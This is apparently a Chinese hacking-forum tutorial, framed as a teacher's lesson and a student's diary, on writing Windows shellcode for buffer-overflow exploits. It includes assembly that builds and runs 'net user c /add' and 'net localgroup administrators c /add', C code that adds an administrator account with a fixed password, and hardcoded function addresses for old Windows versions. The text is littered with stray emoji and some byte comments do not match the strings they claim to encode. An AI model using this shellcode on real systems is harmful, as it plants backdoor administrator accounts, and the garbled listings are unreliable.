🤙🚠🫖🆗🐕‍  “那么,执行MessageBox(0, "Www.GuHei.Net","提示", 1);就是把四个参数从右至左压入堆栈,即先压1,再压‘提示’字符串的地址,然后是‘Www.GuHei.Net’字符串的地址,最后压0;接着CALL MessageBox函数的地址就OK了。”


  “1和0多好压啊!只要PUSH0、PUSH1就完成了。”玉波嚷道,“可惜还有两个参数呢!如果参数都是数字就好了。”

👵‌🩴💶💀👂


  宇强想想后,问道,“那‘提示’和‘Www.GuHei.Net’这两个参数串莫非像构造command.exe字符串那样,先在栈里面构造出来,然后把它们的地址作为参数入栈?”

  “太对了!”老师表扬道,“第三个参数‘提示’是对话框标题,我们在‘ebp—0Bh’和‘ebp-0A’的地方分别放‘提和示’,而‘ebp-09’放字符串结束标志0x00。那么,‘ebp—0Bh’就是字符串的地址了。示意图如下。”

Windows下ShellCode编写初步 QQ截图20151223105148.png
🥷‏🔍🥰👎

  “我们把‘ebp—0Bh'放在ESI中保存起来,等会儿作为参数入栈,代码如下:”

//标题"提示"->esi
mov byte ptr[ebp-0Bh],77h//w👩‍✈️‏👒🪟🥲🖐
mov byte ptr[ebp-0Ah],77h//w
mov byte ptr[ebp-09h],0h//0x00
lea esi,[ebp-0Bh]

👴‌🛍🛋🤪🤛
  “然后第二个参数(对话框的内容)‘Www.GuHei.Net’也是类似。我们把它放在‘ebp-07h’开始的地方,并保存在ESI中,代码如下:”

//内容"Www.GuHei.Net"->edi
mov byte ptr[ebp-07h],77h//w
mov byte ptr[ebp-06h],77h//w👴‏👠💉😷✌
mov byte ptr[ebp-05h],30h//0
mov byte ptr[ebp-04h],38h//8
mov byte ptr[ebp-03h],33h//3
mov byte ptr[ebp-02h],30h//0
mov byte ptr[ebp-01h],0h//0x00🧑‍🍳‏👠📷😳✊
lea edi,[ebp-07h]


  “参数都构造好了。最后我们合起来执行MessageBox(0,"Www.GuHei.Net","提示",1)吧!”
🧑‍🎤‌🥾🔌🤬👌

  “第四个参数是1,我们就直接PUSH 1;倒数第二个参数是标题字符串的地址,我们存在ESI中的,所以PUSH ESI;同样,内容字符串的地址是在EDI中,我们PUSH EDI;第一个参数是0,我们PUSH 0。”

  “参数都入栈后,我们CALL messagebox函数的地址。在我的机器上,函数的地址是0x77d3add7,我们直接CALL 0x77d3add7就完成执行函数了。
🧑‍🌾‍🩳🖥😫👃
  今天早点放学,我给大家再布置一个作业,回去独立完成一个ShellCode,功能是在系统上添加一个用户,并把它加成管理员身份,下节课我会让一位同学上台来给大家讲解他的完成过程。大家都要认真准备啊!不然上台说不出话来,被大家笑话就不好意思了吧!班上还有女生呢!0K,今天到此为止,放学!”
上一篇
下一篇
帖子热度 1.9万 ℃

小执念 古黑浩劫论坛大牛 2015-12-23 11:37 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
添加用户ShellCode的编写

  以下摘自宇强的曰记。
小强的日记之二——添加用户ShellCode的编写
9月23日阴

🦴🔥🥑📶🪶‍  这几次课都在学习缓冲区溢出利用的编程,现在已经进入ShellCode的编写阶段了。经过这几次的学习,自己对ShellCode的编写有了初步了解,知道ShellCode是如何来的,感觉在老师的指导下又有了很大进步。但要搞懂整个技术还有很长的路要走,自己一步步来吧!

  老师还布置了作业,留给我的一个是找Win2000SP2下LoadLibrary和system函数的地址;另一个是写一个在系统中添加一个管理员用户的ShellCode,并让人上台讲。在回家的路上,我就想,自己一定要认真准备准备,不然抽到了我,上去什么都说不出来,其不惨了?

  回到家后,匆匆吃完饭,就坐到电脑前考虑这两个问题。
👂🏠🍟☣🐞‍
  对第一个找函数地址的问题,比较简单。我把老师给的程序拷到Win2000SP2系统上,并加上找LoadLibrary的语句,得到GetLoadSysAdd.cpp,就像下图,然后编译、执行。

Windows下ShellCode编写初步 QQ截图20151223112015.png

  这个程序有问题,system函数的地址找到了,是0x77E6A254,但LoadLibrary地址为0,表示没有找到。当时很奇怪,自己也一下子紧张了起来,马上上网找了很久才发现,在系统中是没有LoadLibrary这个函数的,只有LoadLibraryA和LoadLibraryW这两个函数,在ASCII参数时系统会用LoadLibraryA,在Unicode参数时会用LoadLibraryW。至于什么是ASCII,什么是Unicode,自己还不清楚,只有明天问老师了。🧑‍💻‏🩳🪦😉🙌

  于是我马上把程序改成LoadLibraryA并执行,这下正确了,如图。

Windows下ShellCode编写初步 QQ截图20151223112158.png

  看到在Win2000SP2上,system函数地址为0x78019B4A,LoadLibraryA函数的地址为0x77E6A254,我忙把它们抄了下来。第一个问题总算解决了,长松了一口气,心里稍微平缓了些。👩‍✈️‏👞📡😇🤌

  然后我继续考虑第二个问题,编写添加用户的ShellCode。在Windows中添加用户,要么在控制面板里的“用户帐号”中添加,要么在DOS命令行下执行net user name /add;要把一个帐户添加到管理员,则要在DOS命令行下执行net localgroup administrators name /add。

  看来这里只有使用命令行下的指令添加用户了。我仿照老师的步骤,先写出C的程序,然后改成汇编,最后提取出ShellCode。
🧒‌🎩✒😀🤙
  和开DOS窗口的程序类似,添加一个名为“c”的管理员,其C程序代码如下:

[mw_shl_code=c,true]#include<windows.h>
intmain()
{👩‍🕶📥🤖
  LoadLibrary("msvcrt.dll");
  system("net user c /add");
  system("net localgroup administrators c /add");

  return0;👴‏🧢🪗😪👎
}[/mw_shl_code]

  即执行用户添加命令,再将用户执行升为管理员。我测试了一下,将程序命名为“AddUserC.c”,编译执行,成功了!添加了一个名为“c”的管理员用户,如图。

Windows下ShellCode编写初步 QQ截图20151223112535.png

🤟⛵🥩⁉🦕‏  然后最困难的地方到了:把上面的程序改成汇编。

  第一句“LoadLibrary(“msvcrt.dll”)”可以把老师给的程序抄过来。
  第二、三句就要把老师给的代码稍微改一下,将参数改成这里的参数才行。

🤌🚤🫖♑🦄‌

  对“system(〃net user c /add")”这句话,就按Windows系统执行函数的原理,先参数入栈,再CALL system函数的地址。这里的参数是“net user c /add”字符串的地址,所以先在栈中构造出“net user c /add”,即这样:

[mw_shl_code=c,true]mov esp,ebp ; 把ebp的内容赋值给esp
push ebp ; 保存ebp,esp则减4
mov ebp,esp ; 给ebp赋新值,将作为局部变量的基指针
👂🗼🍚®🐥‍xor edi,edi ;
push edi ; 压入0,esp-4,作用是构造字符串的结尾\0字符
push edi
push edi
push edi ; 加上上面,一共有16个字节,用来放“net user c /add”🧑‍🎤‏🕶🧲😛🦷
mov byte ptr [ebp-0Fh],6eh ;n
mov byte ptr [ebp-0eh],65h ;e
mov byte ptr [ebp-0dh],74h ;t
mov byte ptr [ebp-0ch],20h ;
mov byte ptr [ebp-0bh],75h ;u👨‍🚒‍🥼🪓😡👀
mov byte ptr [ebp-0ah],73h ;s
mov byte ptr [ebp-09h],65h ;e
mov byte ptr [ebp-08h],72h ;r
mov byte ptr [ebp-07h],20h ;
mov byte ptr [ebp-06h],63h ;c

🤟🏠🥚❌🐢‍

mov byte ptr [ebp-05h],20h ;
mov byte ptr [ebp-04h],2Fh ;/
mov byte ptr [ebp-03h],61h ;a
mov byte ptr [ebp-02h],64h ;d
mov byte ptr [ebp-01h],0h ;0[/mw_shl_code]🧑‍🎤‌👚🗑😚✊

  字符串构造好后,再把ESP——现在“netuserc/add”串的地址作为参数,压入堆栈:

[mw_shl_code=c,true]lea eax,[ebp-0fh] ;
push eax ; 字符串地址作为参数入栈
🖕⛵🍒✡🦉‏
最后CALL system函数的地址(即0x78019B4A):

mov eax, 0x78019B4A ; win2000 sp2 system函数地址
call eax ; 调用system[/mw_shl_code]

💪🗽🌰🅱🐺‎


  上面的代码弄了半天才弄好。测试了一下,先把另外两句保留,只把“system("net user c /add")”改为上面的汇编,得到“AddUserASM.cpp”,运行结果如图,成功了!

Windows下ShellCode编写初步 QQ截图20151223112916.png

  当看到“命令成功完成”的提示时,我难以抑止心中那种狂喜的冲动,从椅子上跳了起来,把手握成拳头从空中划过,大吼了一声“Yeah”!当时的心情只有经历过千辛万苦最后成功的人才能体会到。‍👞📟😷👀

  那个时刻,我深深感受到了研究缓冲区编程的魅力。

  父母推开门,问我发生了什么事,我笑了笑,告诉它们没什么,只是解决了一个技术问题。他们嘱咐我不要太累、注意早点休息后又出去了。心情稍平静后,我再次坐了下来,把剩下的“LoadLibrary("msvcrt.dll")”和“system("net localgroup administrators c /add")”也仿照着改为汇编,得到了“AddUserAllASM.cpp”,再次编译执行,还是成功了!
👦‏💄💉😚👏
  可能因为刚才太过兴奋,这次我的心情没那么激动了。最后剩下的只有体力活了,我按老师讲的方法在VC中按F10键进入调试状态,把汇编对应的机器码抄下来,得到了自己写的第一个ShellCode。太有成就感了!提取出ShellCode后,把它存在“AddUserCode.cpp”里,但发现还不知道如何验证是否正确,明天去问问老师吧!

  ShellCode比较长,我抄了很久,抄完后觉得好累啊!一看表,不知不觉夜都深了,今天就到这里吧,休息了,明天继续认真听课。那个小倩,今天看了我两眼,不知是否对我也有感觉呢?不想了,继续努力吧!把握好大学这四年的时光,无悔这青春岁月。

  到这里,我想起了一首诗。🧑‍🌾‍🛋😭👃

取天狼
昨夜小风残月,望断天狼斜射。
万里苍穹茫茫,吾心蓦然雄起。
直取天狼,天为证。
若是它年不出头,甘愿忍受一生愁。
男儿立志扫四方,天狼星,英雄取。
海到无边天做岸,山登至极我为峰。

  好个海到无边天做岸,山登至极我为峰!以此句为座右铭,提醒自己,时时努力,不敢松懈!

  小强的日记之三一添加用户的另一种方法👩‏🧢📱💩👌
  9月27日晴

  今天是个艳阳天,就如同我的心情一样,晴空万里。

  上午一大早我就去了教室,看了一会儿书,同学们才陆续到来。上课铃响后,老师走进了教室,问大家查找LoadLibrary和system函数地址的问题解决得怎么样。

🧓‍👙🖲🤮👎




  大家都把system函数的地址找到了,并报了出来。而LoadLibrary的地址其他人都说没有找到,老师最后问到了我,我说内存中没有LoadLibrary的函数,只有LoadLibraryA和LoadLibraryW函数,我找了LoadLibraryA的地址。老师高兴的说:“就是这样的。”


🖕🏫🥣♏🐢‍  并解释道:“在Win2000下,系统只有LoadLibraryW的实现,LoadLibraryA只有一个壳。如果调用LoadLibraryA,其实也是系统自动把ASCII参数变为Unicode参数,再调用LoadLibraryW函数。”老师还把ASCII和Unicode的差别讲了一下。


  小知识:ASCII和Unicode
  ASCII编码是用一个字节来表示字符,这样只有256种组合,能表达的字符有限。而Unicode是用两个字节(16位)来表示字符,这样共有65536种组合,可以表达完世界上的所有文字。为了世界化推广产品、减少成本以及提高效率,现在人们都更多的使用Unicode编码。👮‍♂️‎🧦🪜😔👊

  Unicode只是一个字形和内码上的标准,并没有定义实际在电脑中存取的方法。因此,Unicode协会便定义了一整套存取Unicode编码的转换格式,称之为UTF,常用的格式有UTF-8和UTF-16。

  接下来是讨论时间,老师找一位同学上去讲昨天的作业——添加用户的ShellCode的编写。当时老师环顾了一下大家,并问有没有同学自愿。我心里很矛盾,既想上去让大家看看我的成果,又怕讲得不好。最后在老师的再三激励以及小倩MM期待的目光下,我勇敢的站了起来,并在大家的掌声中走上了讲台。

🤙🛩🥩🈳🐉‏  在台上,我把昨天在家中的分析和实现过程详细的说了一遍,并把提取出来的ShellCode拿给老师和同学们看,结果得到了老师和同学们的一致肯定和表扬。

  就是在台上的时候太紧张了,下台坐好后,才发现自己一身的汗水,腿也在不断打颤,幸好大家都看不到,特别是小倩,不然多没面子啊!相信有了这次经验,下次要好得多,希望以后能有更多类似的锻炼机会。

  最后老师还给出了一种新的添加用户的版本,其C代码如下:
🧠⛴🧊🔞🐞‎
[mw_shl_code=c,true]#ifndef UNICODE
#define UNICODE
#endif
#include <stdio.h>

👵‎🩳🎷😘✊


#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
int wmain()
{

🧑‍🍳‌🛍🏮🤪✋


USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = L"ww0830";
ui.usri1_password = L"ww0830";
ui.usri1_priv = USER_PRIV_USER;👨🦱‎🕶🪗😄👆
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名为ww0830的用户,密码也为ww0830
🌧🍍📶🪰‍if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
//添加成功
printf("Add user success.\n");
}

🖐🔥🍇✡🦚‌

else
{
//添加失败
printf("Add user Error!\n");
return 1;
🖐🏫🍼🉑🐺‎}
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,L"ww0830");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;🧑‍🌾‌🧣📏😒🦴
//把ww0830添加到Administrators组
if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)==
NERR_Success )
{
//添加成功
🤝🔥🍒❗🐖‎printf("Add to Administrators success.\n");
return 0;
}
else
{
👈🏝🥣♻🐋‌//添加失败
printf("Add to Administrators Fail!\n");
return 1;
}
}[/mw_shl_code]👨‍🚒‏👙📬💩✍

  这种方法用的是Netapi32.dll里的NetUserAdd和NetLocalGroupAddMembers函数。好酷啊!当时我就下定决心:自己会复杂ShellCode的编写后,一定要把它改为机器码的ShellCode。

  不过我又想到,那些实际的ShellCode是怎样的呢?如果只是添加个用户,用处不是很大,于是我提出了自己的疑问。

👁🚗🍏🈳🦟‏

  老师又表扬了我,说考虑得很全,并说下节课继续复杂的ShellCode的研究,写一个真正的ShellCode。看到小倩又看了我一眼,心里为之一动。她这一望,有什么意思呢?她也知道我的一片心情吗?

  最远的距离不是天涯海角,而是在你身边却不知道我爱你。

  可能以后自己会慢慢理解这句话吧!
💪🚐🥛📳🕊‎
  可惜今天我要早点去亲戚家吃饭,下课后就急急忙忙的走了。

  晚上去外婆家玩到很晚。一家人聚在一起吃饭很是热闹,很久没有这样放松过了。作业完成得很好,也可以好好的休息一下了,今天真是惬意啊!
👮‍♂️‌👜🩺😶👂
课后解惑

Q:我在Windows2000SP2版本下,查找到LoadLibraryA函数的地址是0x77E6A254,system函数的地址是0x78019B4A,都是正确的,但为什么我把ShellCode对应的地方改成“\x77\xE6\xA2\x54”和“\x78\x01\x9B\x4A”后,不能弹出DOS窗口呢?
A:你把字节的顺序写反了,应该是“\x54\xA2\xE6\x77”和“\x4A\x9B\x01\x78”。

Q:哦!改动后的确能正确弹出DOS对话框了,但为什么顺序要是这样呢?好别扭啊!
👃🛩🎂🆎🦬‌A:在Windows系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478来说,0x77是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把0x77放在字符串中数的最后。在后面的章节中还会讲到。

Q:能不能给出一些系统下LoadLibraryA函数和system函数的地址值呢?
A:好的。LoadLibraryA和system函数的地址在Win2000SP0下,分别是0x77E78023和0x7801AAAD;在SP2下分别是0x77E6A254和0x78019B4A;在SP3下分别是0x77E69F64和0x7801AFC3;在XPSP0下分别是0x77E605D8和0x77BF8044。
🧑‍💻‌🧢📟👻👍
  要注意的是,覆盖的跳转地址也要符合相应版本,最好使用通用地址。

Q:为什么LoadLibrary函数在系统里面有LoadLibraryA和LoadLibraryW两种实现?而system只有一个实现,没有systemA或systemW呢?
A:问得好!这是因为在Windows下,存在几种编程接口。

🤞🚂🍼🈚🕊‍一种是WindowsAPI函数。这类函数是和Windows系统相关的,使用的也是Windows下才特有的数据类型(比如CHAR)。API函数就存在A和W这两种实现,而LoadLibrary是API函数。

另一种是C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system函数。

Q:那怎么区分API函数和C运行库函数呢?🧑‍💻‎🥾🧹😭👃
A:从函数的命名可以看出来。API函数遵循的是Windows自己定义的命名规范,是大小写混写的函数,如LoadLibrary;而在C语言标准中,规定函数名称都是小写,所以C运行库函数也遵循全是小写的规范,如system。


Q:为什么Windows会有两种命名规范呢?
A:因为微软想遵循一种更科学的命名规范,所以规定了API函数命名法则;但为了保持和标准C语言的兼容,C运行库函数还是遵循了C语言标准的规定;所以存在了两种命名规范。👮‍♂️‎💄🔋😚💅

Q:那我们自己编程时用那种命名规则呢?
A:哈哈!命名规则应和所用的操作系统或开发工具的风格保持一致。例如,Windows应用程序的标识符通常用“大小写”混排的方式,如AddChild;而Unix应用程序的标识符用“小写加下划线”的方式,如add_child。别把这两类风格混在一起用。我们自己开发时,在Windows下建议使用“匈牙利”命名规则,类名和函数名用大写字母开头的单词组合而成,变量和参数用小写字母开头的单词组合而成,常量全用大写,全局变量加前缀“g”,类的数据成员加前缀"m_"。

Q:我们如何验证提取出的ShellCode是否正确呢?太容易抄错了。

👌🏠🍊♏🦊‏

A:有两种方法。一种方法是在实际溢出程序中,使用提取出的ShellCode测试,看能否达到效果;另一种方法就是把ShellCode数组当成一个函数来执行,其实现办法会在下一章的“验证ShellCode功能方法”中讲到。

Q:好像ShellCode里面不能有0x00,为什么呢?怎么避免呢?
A:因为0x00是字符串的结束符,如果ShellCode中存在,就会被截断;我们会在ShellCode变形大法一章中详细的讲解如何避免0x00的方法。
👴‏👑🦯😰
soarcloud 「龙战于野」 2016-3-25 10:36 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

继续顶贴!继续学习~~
soarcloud在论坛瞎逛,捡到 1 个 金币.
巴黎环抱的花海 「龙战于野」 2018-5-4 00:12 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

自从我变成了狗屎,就再也没有人踩在我头上了。
清风霁月 「出类拔萃」 2018-5-10 07:33 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

  楼主,是你让我深深地理解了'人外有人,天外有天’这句话。谢谢你! #365:
您需要登录后才可以回帖 登录 | 免费注册  

本版积分规则

快速回复 返回列表